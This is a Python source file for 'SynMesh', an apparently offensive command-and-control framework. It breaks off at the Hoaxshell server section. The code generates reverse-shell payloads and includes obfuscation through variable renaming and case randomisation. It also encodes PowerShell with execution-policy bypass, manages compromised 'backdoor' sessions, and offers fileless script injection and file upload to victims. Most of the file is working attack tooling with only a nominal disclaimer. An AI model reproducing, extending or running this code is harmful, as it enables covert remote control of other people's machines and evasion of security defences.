syn.py

#!/usr/bin/env python3

"""
SynMesh - Advanced C2 Framework with Military-Grade UI
Author: SYLHETYHACKVENGER (THE-ERROR808)
Title: UNAUTHORISED TEST IS RESTRICTED
Version: 4.1.0
"""

import sys
import os
import re
import ssl
import time
import socket
import struct
import base64
import string
import random
import shutil
import signal
import ipaddress
import threading
import subprocess
import netifaces as ni
import readline as global_readline
from datetime import datetime
from uuid import uuid4, UUID
from copy import deepcopy
from ast import literal_eval
from hashlib import md5
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from functools import lru_cache
from http.server import HTTPServer, BaseHTTPRequestHandler
from platform import system as get_system_type
from warnings import filterwarnings
from importlib import import_module

try:
    from Cryptodome.Cipher import AES
except ImportError:
    from Crypto.Cipher import AES

# Suppress warnings
filterwarnings("ignore", category=DeprecationWarning)

# =============================================================================
# Color Definitions - Professional Terminal UI
# =============================================================================

class Colors:
    """ANSI color codes for terminal UI with fallback for non-TTY environments"""
    if sys.stdout.isatty():
        MAIN = '\033[38;5;85m'
        GREEN = '\033[38;5;82m'
        GRAY = '\033[38;5;246m'
        PLOAD = '\033[38;5;246m'
        NAME = '\033[38;5;228m'
        RED = '\033[1;31m'
        FAIL = '\033[1;91m'
        ORANGE = '\033[0;38;5;214m'
        LRED = '\033[0;38;5;196m'
        BOLD = '\033[1m'
        PURPLE = '\033[0;38;5;141m'
        BLUE = '\033[0;38;5;12m'
        CYAN = '\033[0;38;5;51m'
        YELLOW = '\033[0;38;5;226m'
        UNDERLINE = '\033[4m'
        UNSTABLE = '\033[5m'
        END = '\033[0m'
        DIM = '\033[2m'
        ITALIC = '\033[3m'
    else:
        MAIN = GREEN = GRAY = PLOAD = NAME = RED = FAIL = ORANGE = LRED = BOLD = ''
        PURPLE = BLUE = CYAN = YELLOW = UNDERLINE = UNSTABLE = END = DIM = ITALIC = ''

# =============================================================================
# UI Components - Box Drawing
# =============================================================================

class Box:
    """Unicode box drawing characters for professional UI"""
    H = '─'
    V = '│'
    TL = '┌'
    TR = '┐'
    BL = '└'
    BR = '┘'
    TH = '┬'
    BH = '┴'
    LH = '├'
    RH = '┤'
    C = '┼'
    
    # Thick variants
    TH_H = '━'
    TH_V = '┃'
    TH_TL = '┏'
    TH_TR = '┓'
    TH_BL = '┗'
    TH_BR = '┛'
    
    # Double lines
    D_H = '═'
    D_V = '║'
    D_TL = '╔'
    D_TR = '╗'
    D_BL = '╚'
    D_BR = '╝'
    
    @staticmethod
    def header(title: str, width: int = None) -> str:
        """Create a professional header box"""
        if width is None:
            width, _ = get_terminal_size()
        width = min(width, 120)
        title_len = len(strip_ansi_codes(title))
        padding = max(0, (width - title_len - 4) // 2)
        top = f"{Box.D_TL}{Box.D_H * (width - 2)}{Box.D_TR}"
        mid = f"{Box.D_V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * padding}{Box.D_V}"
        if len(strip_ansi_codes(mid)) < width - 1:
            mid = f"{Box.D_V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * (padding + 1)}{Box.D_V}"
        bot = f"{Box.D_BL}{Box.D_H * (width - 2)}{Box.D_BR}"
        return f"{top}\n{mid}\n{bot}"
    
    @staticmethod
    def section(title: str, width: int = None) -> str:
        """Create a section header"""
        if width is None:
            width, _ = get_terminal_size()
        width = min(width, 120)
        title_len = len(strip_ansi_codes(title))
        padding = max(0, (width - title_len - 4) // 2)
        top = f"{Box.TL}{Box.H * (width - 2)}{Box.TR}"
        mid = f"{Box.V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * padding}{Box.V}"
        if len(strip_ansi_codes(mid)) < width - 1:
            mid = f"{Box.V}{' ' * padding}{Colors.BOLD}{title}{Colors.END}{' ' * (padding + 1)}{Box.V}"
        bot = f"{Box.BL}{Box.H * (width - 2)}{Box.BR}"
        return f"{top}\n{mid}\n{bot}"
    
    @staticmethod
    def footer(text: str, width: int = None) -> str:
        """Create a footer box"""
        if width is None:
            width, _ = get_terminal_size()
        width = min(width, 120)
        top = f"{Box.BL}{Box.H * (width - 2)}{Box.BR}"
        mid = f"{Box.V}{Colors.DIM}{text.center(width - 2)}{Colors.END}{Box.V}"
        return f"{top}\n{mid}"

# =============================================================================
# Message Prefixes
# =============================================================================

INFO = f'{Colors.MAIN}Info{Colors.END}'
WARN = f'{Colors.ORANGE}Warning{Colors.END}'
IMPORTANT = f'{Colors.ORANGE}Important{Colors.END}'
FAILED = f'{Colors.RED}Fail{Colors.END}'
ERR = f'{Colors.LRED}Error{Colors.END}'
DEBUG = f'{Colors.ORANGE}Debug{Colors.END}'
CHAT = f'{Colors.BLUE}Chat{Colors.END}'
SUCCESS = f'{Colors.GREEN}Success{Colors.END}'
GRN_BUL = f'[{Colors.GREEN}*{Colors.END}]'
ATT = f'{Colors.ORANGE}[!]{Colors.END}'
META = f'[\033[38;5;93mM\033[38;5;129me\033[38;5;165mt\033[38;5;201ma\033[0m]'

# =============================================================================
# Banner - Must be exactly as provided
# =============================================================================

SYNMESH_BANNER = r"""
───────────────██████████───────
──────────────████████████──────
──────────────██────────██──────
──────────────██▄▄▄▄▄▄▄▄▄█──────
──────────────██▀███─███▀█──────
█─────────────▀█────────█▀──────
██──────────────────█───────────
─█──────────────██──────────────
█▄────────────████─██──████
─▄███████████████──██──██████
────█████████████──██──█████████
─────────────████──██─█████──███
──────────────███──██─█████──███
──────────────███─────█████████
──────────────██─────████████▀
────────────────██████████
────────────────██████████
─────────────────████████
──────────────────██████████▄▄
────────────────────█████████▀
─────────────────────████──███
────────────────────▄████▄──██
────────────────────██████───▀
────────────────────▀▄▄▄▄▀
"""

# =============================================================================
# UI Utilities
# =============================================================================

def get_terminal_size():
    """Safely get terminal dimensions with fallbacks"""
    try:
        cols, rows = shutil.get_terminal_size()
        return cols, rows
    except:
        return 80, 24

def center_text(text: str, width: int = None) -> str:
    """Center text within terminal width"""
    if width is None:
        width, _ = get_terminal_size()
    width = min(width, 120)
    lines = text.split('\n')
    centered = []
    max_line_len = 0
    for line in lines:
        stripped = line.rstrip('\n')
        clean_len = len(strip_ansi_codes(stripped))
        if clean_len > max_line_len:
            max_line_len = clean_len
    for line in lines:
        stripped = line.rstrip('\n')
        clean_len = len(strip_ansi_codes(stripped))
        padding = max(0, (width - clean_len) // 2)
        centered.append(' ' * padding + stripped)
    return '\n'.join(centered)

def print_banner():
    """Print the SynMesh banner with proper centering"""
    cols, _ = get_terminal_size()
    print('\n' + center_text(SYNMESH_BANNER, cols))
    print()
    # Author and title
    author = f"{Colors.ORANGE}Author: SYLHETYHACKVENGER (THE-ERROR808){Colors.END}"
    title = f"{Colors.RED}Title: UNAUTHORISED TEST IS RESTRICTED{Colors.END}"
    width = max(len(strip_ansi_codes(author)), len(strip_ansi_codes(title)))
    padding = max(0, (cols - width) // 2)
    print(' ' * padding + author)
    print(' ' * padding + title)
    print()

def print_loading_animation(msg: str, duration: float = 2.0):
    """Print a loading animation with progress"""
    frames = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏']
    start = time.time()
    i = 0
    while time.time() - start < duration:
        frame = frames[i % len(frames)]
        print(f'\r{Colors.CYAN}{frame}{Colors.END} {msg} ', end='')
        i += 1
        time.sleep(0.08)
    print(f'\r{Colors.GREEN}✓{Colors.END} {msg} {Colors.DIM}Done{Colors.END}')

def print_status_line(label: str, status: str, status_type: str = 'info'):
    """Print a formatted status line"""
    colors = {
        'info': Colors.BLUE,
        'success': Colors.GREEN,
        'warning': Colors.YELLOW,
        'error': Colors.RED
    }
    color = colors.get(status_type, Colors.BLUE)
    print(f"  {Colors.DIM}├─{Colors.END} {Colors.BOLD}{label}{Colors.END}: {color}{status}{Colors.END}")

def strip_ansi_codes(s: str) -> str:
    """Remove ANSI escape codes from string"""
    s = re.sub(r'\033\[[0-9;]*[a-zA-Z]', '', s)
    s = re.sub(r'\[[0-9]+(;[0-9]+)*m', '', s)
    return s

# =============================================================================
# Network Interface Detection
# =============================================================================

class NetworkInterfaceManager:
    """Intelligently detect and manage network interfaces for Termux"""
    
    PREFERRED_INTERFACES = ['wlan0', 'wlan1', 'eth0', 'eth1', 'rmnet_data0', 
                           'rmnet_data1', 'rmnet_data2', 'rmnet_data3',
                           'usb0', 'usb1', 'usb2']
    
    @staticmethod
    def get_all_interfaces() -> Dict[str, List[str]]:
        """Get all available network interfaces with their IP addresses"""
        interfaces = {}
        try:
            for iface in ni.interfaces():
                try:
                    addrs = ni.ifaddresses(iface)
                    if ni.AF_INET in addrs:
                        interfaces[iface] = [addr['addr'] for addr in addrs[ni.AF_INET]]
                    else:
                        interfaces[iface] = []
                except Exception:
                    interfaces[iface] = []
        except Exception:
            pass
        return interfaces
    
    @staticmethod
    def get_preferred_interface() -> Optional[str]:
        """Get the best available network interface"""
        interfaces = NetworkInterfaceManager.get_all_interfaces()
        
        # First try preferred interfaces
        for preferred in NetworkInterfaceManager.PREFERRED_INTERFACES:
            if preferred in interfaces and interfaces[preferred]:
                return preferred
        
        # Then try any interface with an IP
        for iface, addrs in interfaces.items():
            if addrs:
                return iface
        
        return None
    
    @staticmethod
    def get_interface_ip(interface: str) -> Optional[str]:
        """Get IP address for a given interface"""
        try:
            addrs = ni.ifaddresses(interface)
            if ni.AF_INET in addrs:
                return addrs[ni.AF_INET][0]['addr']
        except Exception:
            pass
        return None
    
    @staticmethod
    def list_interactive() -> Tuple[Optional[str], Optional[str]]:
        """Interactive interface selection with clear explanations"""
        interfaces = NetworkInterfaceManager.get_all_interfaces()
        
        if not interfaces:
            print(f"{Colors.RED}No network interfaces found!{Colors.END}")
            return None, None
        
        # Filter interfaces with IP addresses
        active = {iface: addrs for iface, addrs in interfaces.items() if addrs}
        
        if not active:
            print(f"{Colors.RED}No interfaces with IP addresses found!{Colors.END}")
            return None, None
        
        print(f"\n{Colors.CYAN}Available Network Interfaces:{Colors.END}")
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        
        iface_list = list(active.keys())
        for idx, iface in enumerate(iface_list):
            ip = active[iface][0]
            print(f"  {Colors.GREEN}{idx + 1}.{Colors.END} {Colors.BOLD}{iface}{Colors.END} "
                  f"({Colors.ORANGE}{ip}{Colors.END})")
        
        print(f"{Colors.GRAY}{'─' * 50}{Colors.END}")
        print(f"\n{Colors.DIM}Select an interface by number (1-{len(iface_list)}) or enter manually:{Colors.END}")
        
        while True:
            try:
                choice = input(f"{Colors.MAIN}Interface: {Colors.END}").strip()
                
                if choice.isdigit():
                    idx = int(choice) - 1
                    if 0 <= idx < len(iface_list):
                        selected = iface_list[idx]
                        ip = active[selected][0]
                        print(f"\n{Colors.GREEN}Selected: {selected} ({ip}){Colors.END}")
                        return selected, ip
                    else:
                        print(f"{Colors.RED}Invalid selection. Please choose 1-{len(iface_list)}.{Colors.END}")
                else:
                    if choice in interfaces:
                        if interfaces[choice]:
                            ip = interfaces[choice][0]
                            print(f"\n{Colors.GREEN}Selected: {choice} ({ip}){Colors.END}")
                            return choice, ip
                        else:
                            print(f"{Colors.RED}Interface {choice} has no IP address.{Colors.END}")
                    else:
                        print(f"{Colors.RED}Invalid interface name. Please try again.{Colors.END}")
            except KeyboardInterrupt:
                print("\n")
                return None, None
            except Exception as e:
                print(f"{Colors.RED}Error: {e}{Colors.END}")

# =============================================================================
# Core Settings
# =============================================================================

@dataclass
class CoreServerSettings:
    bind_address: str = '0.0.0.0'
    bind_port: int = 6501
    ping_siblings_sleep_time: float = 4.0
    timeout_for_command_output: int = 30
    insecure: bool = False

@dataclass
class HoaxshellSettings:
    bind_address: str = '0.0.0.0'
    bind_port: int = 8080
    bind_port_ssl: int = 443
    ssl_support: bool = False
    monitor_shell_state_freq: float = 3.0
    server_version: str = 'Apache/2.4.1'
    header: str = 'Authorization'
    certfile: Optional[str] = None
    keyfile: Optional[str] = None

@dataclass
class FileSmugglerSettings:
    bind_address: str = '0.0.0.0'
    bind_port: int = 8888

@dataclass
class TCPSockHandlerSettings:
    bind_address: str = '0.0.0.0'
    bind_port: int = 4443
    sentinel_value: str = field(default_factory=lambda: uuid4().hex)
    sock_timeout: int = 4
    recv_timeout: int = 14
    recv_timeout_buffer_size: int = 4096
    await_execution_timeout: int = 90
    alive_echo_exec_timeout: float = 2.5
    fail_count: int = 3
    hostname_filter: bool = True

@dataclass
class ThreadingParams:
    MAX_THREADS: int = 140
    thread_limiter: threading.BoundedSemaphore = field(
        default_factory=lambda: threading.BoundedSemaphore(140)
    )

@dataclass
class MainPrompt:
    original_prompt: str = f"{Colors.UNDERLINE}SynMesh{Colors.END} > "
    prompt: str = f"{Colors.UNDERLINE}SynMesh{Colors.END} > "
    hoax_prompt: Optional[str] = None
    ready: bool = True
    SPACE: str = '#>SPACE$<#'
    exec_active: bool = False

# Global instances
core_settings = CoreServerSettings()
hoax_settings = HoaxshellSettings()
file_settings = FileSmugglerSettings()
tcp_settings = TCPSockHandlerSettings()
thread_params = ThreadingParams()
main_prompt = MainPrompt()

# =============================================================================
# General Utility Functions
# =============================================================================

def get_datetime() -> str:
    """Get current datetime as formatted string"""
    return datetime.now().strftime('%Y-%m-%d %H:%M:%S')

def get_random_str(length: int = 8) -> str:
    """Generate random alphanumeric string"""
    chars = string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

def get_file_contents(path: str, mode: str = 'rb') -> Optional[bytes]:
    """Safely read file contents"""
    try:
        with open(path, mode) as f:
            return f.read()
    except Exception:
        return None

def is_valid_uuid(value: str) -> bool:
    """Validate UUID string"""
    try:
        UUID(str(value))
        return True
    except ValueError:
        return False

def is_valid_ip(ip_addr: str) -> bool:
    """Validate IP address"""
    try:
        ipaddress.ip_address(ip_addr)
        return True
    except ValueError:
        return False

def parse_lhost(lhost_value: str) -> Optional[str]:
    """Parse LHOST from IP, interface, or hostname"""
    try:
        return str(ipaddress.ip_address(lhost_value))
    except ValueError:
        try:
            return ni.ifaddresses(lhost_value)[ni.AF_INET][0]['addr']
        except Exception:
            return None

def validate_host_address(addr: str) -> Optional[str]:
    """Validate and resolve host address"""
    try:
        return str(ipaddress.ip_address(addr))
    except ValueError:
        try:
            return ni.ifaddresses(addr)[ni.AF_INET][0]['addr']
        except Exception:
            try:
                if len(addr) > 255:
                    return None
                if addr.endswith('.'):
                    addr = addr[:-1]
                disallowed = re.compile(r"[^A-Z\d-]", re.IGNORECASE)
                if all(len(p) and not p.startswith("-") and not p.endswith("-") 
                       and not disallowed.search(p) for p in addr.split(".")):
                    socket.gethostbyname(addr)
                    return addr
            except Exception:
                pass
    return None

def print_table(rows: List[Dict], columns: List[str], title: str = None):
    """Print formatted table with dynamic width adjustment"""
    cols, _ = get_terminal_size()
    cols = min(cols, 120)
    if not rows:
        print(f"{Colors.ORANGE}No data available.{Colors.END}")
        return
    
    # Calculate max content width
    max_col_width = max(15, (cols - len(columns) - 4) // max(1, len(columns)))
    max_col_width = min(max_col_width, 30)
    
    # Build table data
    table_data = [columns]
    for row in rows:
        row_data = []
        for col in columns:
            val = str(row.get(col, ''))
            if len(val) > max_col_width - 2:
                val = val[:max_col_width-5] + '..'
            row_data.append(val)
        table_data.append(row_data)
    
    # Calculate column widths
    col_widths = []
    for i in range(len(columns)):
        width = max(len(str(row[i])) for row in table_data)
        col_widths.append(min(width, max_col_width))
    
    # Ensure total width fits
    total_width = sum(col_widths) + 2 * (len(columns) - 1) + 4
    if total_width > cols and len(columns) > 1:
        # Scale down columns
        scale = (cols - 4 - 2 * len(columns)) / sum(col_widths)
        col_widths = [max(3, int(w * scale)) for w in col_widths]
    
    format_str = '  '.join([f"{{:<{w}}}" for w in col_widths])
    
    # Print header
    print()
    if title:
        print(f"{Colors.BOLD}{Colors.CYAN}{title}{Colors.END}")
        print(f"{Colors.GRAY}{'─' * min(cols, sum(col_widths) + 2 * len(columns) + 2)}{Colors.END}")
    
    print(f" {format_str.format(*columns)}")
    print(' ' + '  '.join(['─' * w for w in col_widths]))
    
    # Print data rows with color
    for row in table_data[1:]:
        # Apply colors based on status
        for idx, col in enumerate(columns):
            if col == 'Status':
                if 'Lost' in row[idx] or 'Dead' in row[idx]:
                    row[idx] = f"{Colors.LRED}{row[idx]}{Colors.END}"
                elif 'Unreachable' in row[idx] or 'Pending' in row[idx]:
                    row[idx] = f"{Colors.ORANGE}{row[idx]}{Colors.END}"
                elif 'Active' in row[idx] or 'Connected' in row[idx]:
                    row[idx] = f"{Colors.GREEN}{row[idx]}{Colors.END}"
            elif col == 'Stability':
                if 'Unstable' in row[idx]:
                    row[idx] = f"{Colors.UNSTABLE}{row[idx]}{Colors.END}"
                elif 'Stable' in row[idx]:
                    row[idx] = f"{Colors.GREEN}{row[idx]}{Colors.END}"
        print(f" {format_str.format(*row)}")
    print()

def print_columns(strings: List[str], title: str = None, cols: int = None):
    """Print strings in columns with dynamic sizing"""
    term_cols, _ = get_terminal_size()
    term_cols = min(term_cols, 120)
    if not strings:
        return
    
    if title:
        print(f"{Colors.BOLD}{Colors.CYAN}{title}{Colors.END}")
        print(f"{Colors.GRAY}{'─' * min(term_cols, 60)}{Colors.END}")
    
    max_len = max(len(s) for s in strings)
    col_count = cols or max(1, term_cols // (max_len + 4))
    col_count = min(col_count, len(strings))
    rows = (len(strings) + col_count - 1) // col_count
    
    for i in range(rows):
        line = []
        for j in range(col_count):
            idx = i + j * rows
            if idx < len(strings):
                line.append(strings[idx].ljust(max_len + 2))
        print(''.join(line).rstrip())
    print()

# =============================================================================
# Encryption Utilities
# =============================================================================

def encrypt_msg(aes_key: bytes, msg: Union[str, bytes], iv: bytes) -> bytes:
    """Encrypt message using AES-CFB"""
    cipher = AES.new(aes_key, AES.MODE_CFB, iv)
    if isinstance(msg, str):
        msg = msg.encode('utf-8')
    cipher_text = cipher.encrypt(msg)
    return base64.b64encode(cipher_text)

def decrypt_msg(aes_key: bytes, cipher: bytes, iv: bytes) -> str:
    """Decrypt message using AES-CFB"""
    try:
        cipher_suite = AES.new(aes_key, AES.MODE_CFB, iv)
        plain_text = cipher_suite.decrypt(base64.b64decode(cipher + b'=='))
        return plain_text.decode('utf-8', errors='ignore')
    except Exception:
        return ''

# =============================================================================
# Command Help System
# =============================================================================

class CommandHelp:
    """Command help and documentation system"""
    
    COMMANDS = {
        'connect': {
            'details': """
Connect with another instance of SynMesh (sibling server). Once connected, you will be able to see
and interact with foreign shell sessions owned by sibling servers and vice-versa.

Usage: connect <IP> <TEAM_SERVER_PORT>
Example: connect 192.168.1.100 6501
""",
            'least_args': 2,
            'max_args': 2
        },
        'generate': {
            'details': """
Generate a reverse shell command using payload templates.

Usage: generate payload=<OS_TYPE/HANDLER/TEMPLATE> lhost=<IP or INTERFACE> [obfuscate] [encode]

Examples:
  generate payload=windows/reverse_tcp/powershell lhost=eth0
  generate payload=linux/hoaxshell/sh_curl lhost=eth0 encode

Supported handlers: reverse_tcp, hoaxshell
""",
            'least_args': 0,
            'max_args': 7
        },
        'shell': {
            'details': """
Enable an interactive pseudo-shell prompt for a shell session.

Usage: shell <SESSION_ID or ALIAS>
Example: shell abc123
Press Ctrl+C to exit the shell session.
""",
            'least_args': 1,
            'max_args': 1
        },
        'alias': {
            'details': """
Set an alias for a shell session.

Usage: alias <ALIAS> <SESSION_ID>
Example: alias target1 abc123-def456-ghi789
""",
            'least_args': 2,
            'max_args': 2
        },
        'kill': {
            'details': """
Terminate a self-owned shell session.

Usage: kill <SESSION_ID or ALIAS>
Example: kill abc123
""",
            'least_args': 1,
            'max_args': 1
        },
        'upload': {
            'details': """
Upload files into an active shell session over HTTP.

Usage: upload <LOCAL_FILE> <REMOTE_PATH> <SESSION_ID>
Example: upload /path/to/file.exe C:\\Users\\Public\\file.exe abc123
""",
            'least_args': 3,
            'max_args': 3,
            'shell': True
        },
        'inject': {
            'details': """
Inject and execute a local script filelessly over HTTP.

Usage: inject <LOCAL_FILE_PATH>
Example: inject /path/to/script.ps1
""",
            'least_args': 1,
            'max_args': 1,
            'shell': True
        },
        'sessions': {
            'details': """
List all active shell sessions with their details.

Usage: sessions
""",
            'least_args': 0,
            'max_args': 0
        },
        'backdoors': {
            'details': """
List active shell sessions with backdoor type information.

Usage: backdoors
""",
            'least_args': 0,
            'max_args': 0
        },
        'siblings': {
            'details': """
List connected sibling servers.

Usage: siblings
""",
            'least_args': 0,
            'max_args': 0
        },
        'clear': {
            'details': """
Clear the terminal screen.

Usage: clear
""",
            'least_args': 0,
            'max_args': 0
        },
        'exit': {
            'details': """
Terminate all sessions and exit SynMesh.

Usage: exit
""",
            'least_args': 0,
            'max_args': 0
        },
        'flee': {
            'details': """
Exit without terminating active sessions.

Usage: flee
""",
            'least_args': 0,
            'max_args': 0
        }
    }
    
    @staticmethod
    def print_help(cmd: Optional[str] = None):
        """Print help for commands"""
        if cmd and cmd in CommandHelp.COMMANDS:
            print(CommandHelp.COMMANDS[cmd]['details'])
            return
        
        # Print main help
        print(f"""
{Colors.BOLD}SynMesh Commands:{Colors.END}
{Colors.GRAY}─────────────────────────────────────────────{Colors.END}
  {Colors.GREEN}connect{Colors.END}     Connect with a sibling server
  {Colors.GREEN}generate{Colors.END}    Generate reverse shell payloads
  {Colors.GREEN}shell{Colors.END}       Open interactive shell session
  {Colors.GREEN}alias{Colors.END}       Set alias for a session
  {Colors.GREEN}kill{Colors.END}        Terminate a session
  {Colors.GREEN}upload{Colors.END}      Upload files to session
  {Colors.GREEN}inject{Colors.END}      Fileless script execution
  {Colors.GREEN}sessions{Colors.END}    List active sessions
  {Colors.GREEN}backdoors{Colors.END}   List backdoor types
  {Colors.GREEN}siblings{Colors.END}    List sibling servers
  {Colors.GREEN}clear{Colors.END}       Clear screen
  {Colors.GREEN}exit{Colors.END}        Exit SynMesh
  {Colors.GREEN}flee{Colors.END}        Exit without killing sessions
{Colors.GRAY}─────────────────────────────────────────────{Colors.END}
Type: help <command> for detailed information
""")

# =============================================================================
# Session Manager
# =============================================================================

class SessionManager:
    """Manages active sessions and aliases"""
    
    active_sessions: Dict[str, Dict] = {}
    legit_session_ids: Dict[str, Dict] = {}
    aliases: List[str] = []
    shell_redirectors: Dict[str, str] = {}
    sessions_graveyard: List[str] = []
    verify: List[str] = []
    get_cmd: List[str] = []
    post_res: List[str] = []
    
    @staticmethod
    def get_session_id(identifier: str) -> Optional[str]:
        """Convert alias to session ID if needed"""
        if identifier in SessionManager.active_sessions:
            return identifier
        
        # Check aliases
        for sid, data in SessionManager.active_sessions.items():
            if data.get('aliased') and data.get('alias') == identifier:
                return sid
        
        return None
    
    @staticmethod
    def list_sessions():
        """Display active sessions in table format"""
        if not SessionManager.active_sessions:
            print(f"{Colors.ORANGE}No active sessions.{Colors.END}")
            return
        
        rows = []
        for sid, data in SessionManager.active_sessions.items():
            row = {
                'Session ID': data.get('alias', sid) if data.get('aliased') else sid[:12] + '...',
                'IP Address': data.get('IP Address', 'Unknown'),
                'OS Type': data.get('OS Type', 'Unknown'),
                'User': data.get('Username', 'Unknown'),
                'Owner': 'Self' if data.get('self_owned') else 'Sibling',
                'Status': data.get('Status', 'Unknown')
            }
            rows.append(row)
        
        print_table(rows, ['Session ID', 'IP Address', 'OS Type', 'User', 'Owner', 'Status'], 'Active Sessions')
    
    @staticmethod
    def list_backdoors():
        """Display backdoor types for active sessions"""
        if not SessionManager.active_sessions:
            print(f"{Colors.ORANGE}No active sessions.{Colors.END}")
            return
        
        rows = []
        for sid, data in SessionManager.active_sessions.items():
            row = {
                'Session ID': data.get('alias', sid) if data.get('aliased') else sid[:12] + '...',
                'IP Address': data.get('IP Address', 'Unknown'),
                'Shell': data.get('Shell', 'Unknown'),
                'Listener': data.get('Listener', 'Unknown'),
                'Stability': data.get('Stability', 'Unknown'),
                'Status': data.get('Status', 'Unknown')
            }
            rows.append(row)
        
        print_table(rows, ['Session ID', 'IP Address', 'Shell', 'Listener', 'Stability', 'Status'], 'Backdoor Types')
    
    @staticmethod
    def kill_session(session_id: str):
        """Terminate a self-owned session"""
        if session_id not in SessionManager.active_sessions:
            print(f"{Colors.RED}Session not found.{Colors.END}")
            return
        
        if not SessionManager.active_sessions[session_id].get('self_owned', False):
            print(f"{Colors.RED}Cannot kill session owned by sibling.{Colors.END}")
            return
        
        SessionManager.sessions_graveyard.append(session_id)
        
        # Send exit command
        if session_id in Hoaxshell.command_pool:
            Hoaxshell.command_pool[session_id].append({'data': 'exit', 'issuer': 'self', 'quiet': True})
        
        # Remove from active sessions
        SessionManager.active_sessions.pop(session_id, None)
        print(f"{Colors.GREEN}Session terminated.{Colors.END}")

# =============================================================================
# Payload Generator
# =============================================================================

class PayloadGenerator:
    """Generate reverse shell payloads from templates"""
    
    def __init__(self):
        self.pay = None
        self.template = None
        self.obfuscator = None
    
    def encode_utf16(self, payload: str) -> str:
        """Encode payload in UTF-16LE for PowerShell"""
        return "powershell -ep bypass -e " + base64.b64encode(payload.encode('utf-16le')).decode()
    
    def generate_payload(self, args_list: List[str]):
        """Generate payload from command arguments"""
        # Parse arguments
        args_dict = {}
        boolean_args = []
        
        for arg in args_list:
            if '=' in arg:
                key, val = arg.split('=', 1)
                args_dict[key.lower()] = val
            else:
                boolean_args.append(arg.lower())
        
        # Check required arguments
        if 'payload' not in args_dict:
            print(f"{Colors.RED}Required argument PAYLOAD not supplied.{Colors.END}")
            print(f"{Colors.DIM}Example: generate payload=linux/hoaxshell/sh_curl lhost=eth0{Colors.END}")
            return
        
        # Parse payload template
        template_path = args_dict['payload'].lower().replace('/', '.')
        
        try:
            # Remove module from cache
            module_name = f'Core.payload_templates.{template_path}'
            sys.modules.pop(module_name, None)
            
            # Import template
            module = import_module(module_name, package=None)
            payload_class = module.Payload()
            
            # Check if LHOST is provided
            if 'lhost' not in args_dict:
                print(f"{Colors.RED}Required argument LHOST not supplied.{Colors.END}")
                return
            
            # Parse LHOST
            lhost = parse_lhost(args_dict['lhost'])
            if not lhost:
                print(f"{Colors.RED}Failed to parse LHOST. Invalid IP, Interface, or Hostname.{Colors.END}")
                return
            
            # Process based on handler type
            if payload_class.meta['handler'] == 'hoaxshell':
                self._process_hoaxshell(payload_class, lhost)
            elif payload_class.meta['handler'] in ['netcat', 'reverse_tcp']:
                self._process_reverse_tcp(payload_class, lhost)
            else:
                print(f"{Colors.RED}Unsupported handler: {payload_class.meta['handler']}{Colors.END}")
                return
            
            # Apply obfuscation if requested
            if 'obfuscate' in boolean_args and 'obfuscate' in payload_class.attrs:
                payload_class.data = self._obfuscate_payload(payload_class.data)
            
            if 'encode' in boolean_args and 'encode' in payload_class.attrs:
                payload_class.data = self.encode_utf16(payload_class.data)
            
            # Print payload
            print(f"\n{Colors.PLOAD}{payload_class.data}{Colors.END}\n")
            
            # Copy to clipboard
            try:
                import pyperclip
                pyperclip.copy(payload_class.data)
                print(f"{Colors.GREEN}Copied to clipboard!{Colors.END}")
            except ImportError:
                print(f"{Colors.DIM}Install pyperclip to enable clipboard copy.{Colors.END}")
            
        except ImportError as e:
            print(f"{Colors.RED}Payload template not found: {template_path}{Colors.END}")
            print(f"{Colors.DIM}Error: {e}{Colors.END}")
        except Exception as e:
            print(f"{Colors.RED}Error generating payload: {e}{Colors.END}")
    
    def _process_hoaxshell(self, payload, lhost: str):
        """Process HoaxShell payload"""
        verify = uuid4().hex[:6]
        get_cmd = uuid4().hex[:6]
        post_res = uuid4().hex[:6]
        header_id = hoax_settings.header
        session_id = '-'.join([verify, get_cmd, post_res])
        
        # Store session metadata
        SessionManager.legit_session_ids[session_id] = {
            'OS Type': payload.meta['os'].capitalize(),
            'constraint_mode': True,
            'frequency': payload.config.get('frequency', 0.8),
            'payload_type': payload.meta['type'],
            'Shell': payload.meta['shell']
        }
        
        # Build URL
        port = hoax_settings.bind_port if not hoax_settings.ssl_support else hoax_settings.bind_port_ssl
        lhost_str = f"{lhost}:{port}"
        
        # Replace placeholders
        payload.data = (payload.data
            .replace('*LHOST*', lhost_str)
            .replace('*SESSIONID*', session_id)
            .replace('*FREQ*', str(payload.config.get('frequency', 0.8)))
            .replace('*VERIFY*', verify)
            .replace('*GETCMD*', get_cmd)
            .replace('*POSTRES*', post_res)
            .replace('*HOAXID*', header_id)
        )
        
        # Store session
        SessionManager.active_sessions[session_id] = {
            'IP Address': 'Pending',
            'Status': 'Pending',
            'OS Type': payload.meta['os'].capitalize(),
            'Owner': CoreServer.server_id,
            'self_owned': True,
            'aliased': False,
            'alias': None,
            'Listener': 'hoaxshell',
            'Shell': payload.meta['shell'],
            'Stability': 'Unstable',
            'frequency': payload.config.get('frequency', 0.8)
        }
        
        Hoaxshell.command_pool[session_id] = []
        SessionManager.verify.append(verify)
        SessionManager.get_cmd.append(get_cmd)
        SessionManager.post_res.append(post_res)
    
    def _process_reverse_tcp(self, payload, lhost: str):
        """Process reverse TCP payload"""
        port = tcp_settings.bind_port
        payload.data = (payload.data
            .replace('*LHOST*', lhost)
            .replace('*LPORT*', str(port))
        )
    
    def _obfuscate_payload(self, payload: str) -> str:
        """Basic payload obfuscation"""
        # Simple variable name randomisation
        variables = re.findall(r'\$[A-Za-z0-9_]+=', payload)
        used_names = []
        for var in variables:
            var_name = var.strip('$=')
            if var_name and var_name not in ['env']:
                new_name = get_random_str(6)
                while new_name in used_names:
                    new_name = get_random_str(6)
                used_names.append(new_name)
                payload = payload.replace(f'${var_name}=', f'${new_name}=')
        
        # Randomize case of cmdlets
        cmdlets = re.findall(r'\b[A-Za-z]+-[A-Za-z]+\b', payload)
        for cmdlet in set(cmdlets):
            if len(cmdlet) > 3 and random.choice([True, False]):
                new_cmdlet = ''.join(random.choice([c.upper(), c.lower()]) for c in cmdlet)
                payload = payload.replace(cmdlet, new_cmdlet)
        
        return payload

# =============================================================================
# Hoaxshell Server
# =============================================================================

